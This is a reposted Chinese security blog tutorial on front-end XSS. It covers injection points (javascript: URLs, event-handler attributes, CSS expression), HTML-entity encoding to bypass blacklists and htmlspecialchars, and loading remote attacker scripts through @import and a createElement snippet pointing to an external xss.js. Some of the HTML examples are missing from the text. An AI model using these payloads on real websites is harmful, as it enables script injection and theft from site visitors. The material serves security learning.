前端安全:know it then hack it

独自等待 2017年5月10日20:24:05评论518 views字数 1660阅读5分32秒阅读模式

法客论坛的ack总结的关于web前端黑客中XSS的利用,很实用的技术。详细的介绍了XSS可以执行的地方,对我们学习前端安全及XSS攻击很有帮助,希望大家好好学习。

XSS绕过

一、html可以执行javascript的地方有哪些?

先举个例子 比如这个代码

f4ck

变量$a可控,怎么让这个代码弹框(执行javascript代码)呢?

(1)属性值引入javascript:伪协议。来执行javascript代码。也就是$a=javascript:alert(1)只有引用文件的属性才能触发javascript脚本,这些标签有:

href
action
bgsound
background
value
dynsrc
lowsrc
前端安全:know it then hack it

由于这些属性值不是通用属性,所以会在不同的标签中,如果在火狐上测试不成功请在ie下测试,我用ie6测试是成功的。

(2)"闭合前一个属性值,引入事件驱动属性。事件驱动属性的值是javascript代码,所以可以执行javascript。事件驱动属性是标签的通用属性,所以所有标签都可以用。也就是

$a= " onclick=alert(1)

这样的事件驱动属性标签还有:

ondblclick
onmousedown
onmouseup
onmouseover
onmousemove
onmouseout
onmousepress
onmousedown
onmouseup
f4ck

(3)闭合标签,引入

(4)CSS可以通过expression属性执行javascript代码

expression是ie独有的css属性,其目的是为了插入一段javascript代码。

在ie6下执行成功。

@import "http://www.waitalone.cn/xss.css";

可以从外部导入存在xss代码的css样式。

如果css属性可控,除了可以在expression后面添加javascript代码执行外,还可以像(2)(3)一样通过闭合标签和属性值来达到执行javascript的目的。

乌云上的案例: CSS未过滤导致XSS

综上,可以在html里执行javascript的地方有


1、利用 javascript:在属性值里

2、事件驱动属性

3、标签中(包括这种形式)

4、CSS中的expression属性中(仅IE)。

二、为什么编码后的代码仍然可以执行?

(1)上面的$a是没被过滤的,但假如被过滤了怎么办,假如只是黑名单过滤了javascript,或者只是对$a进行了htmlspecialchars()转换。 执行javascript的地方只进行了html编码。

f4ck

$a的 值

javascript:alert(1)

$a的值

javascript:alert(1)

$a的值:

javascript:alert(1)

以上为html的三种编码。提交后,可以绕过黑名单javascript,进行htmlspecialchars()编码是不会发生任何变化的,那么,这段代码为什么会执行?
因为这个代码,浏览器从头解析当解析到,$a的值时,正常将它解码,就变成 javascript:alert(1),然后这个代码在href属性中,所以就执行了。

三、怎么远程加载外部js?

先来说说html标记,html标记其实可以分为两种

1、文本用闭合标签。

例:

f4ck

2、引用内容用自闭合标签。

例:

前端安全:know it then hack it

浏览器会在html页面加载时,额外向服务器发送请求,注:这里是html标签的特性,不要和同源策略相混淆,同源策略是用来限制浏览器的。

加载进来的js和本域是同源的。

哪些标签可以远程加载外部js,并执行呢?






其实3就是dom的方法创建和插入节点。

var s=document.createElement("script");
s.src="http://www.waitalone.cn/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);

直接用3用于

后记:后面写的有点乱,可能有错误的,欢迎提出。

原文地址:

http://sb.f4ck.org/thread-14663-1-1.html

http://www.waitalone.cn/7497.html



from www.waitalone.cn.thanks for it.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月10日20:24:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   前端安全:know it then hack ithttps://cn-sec.com/archives/50131.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息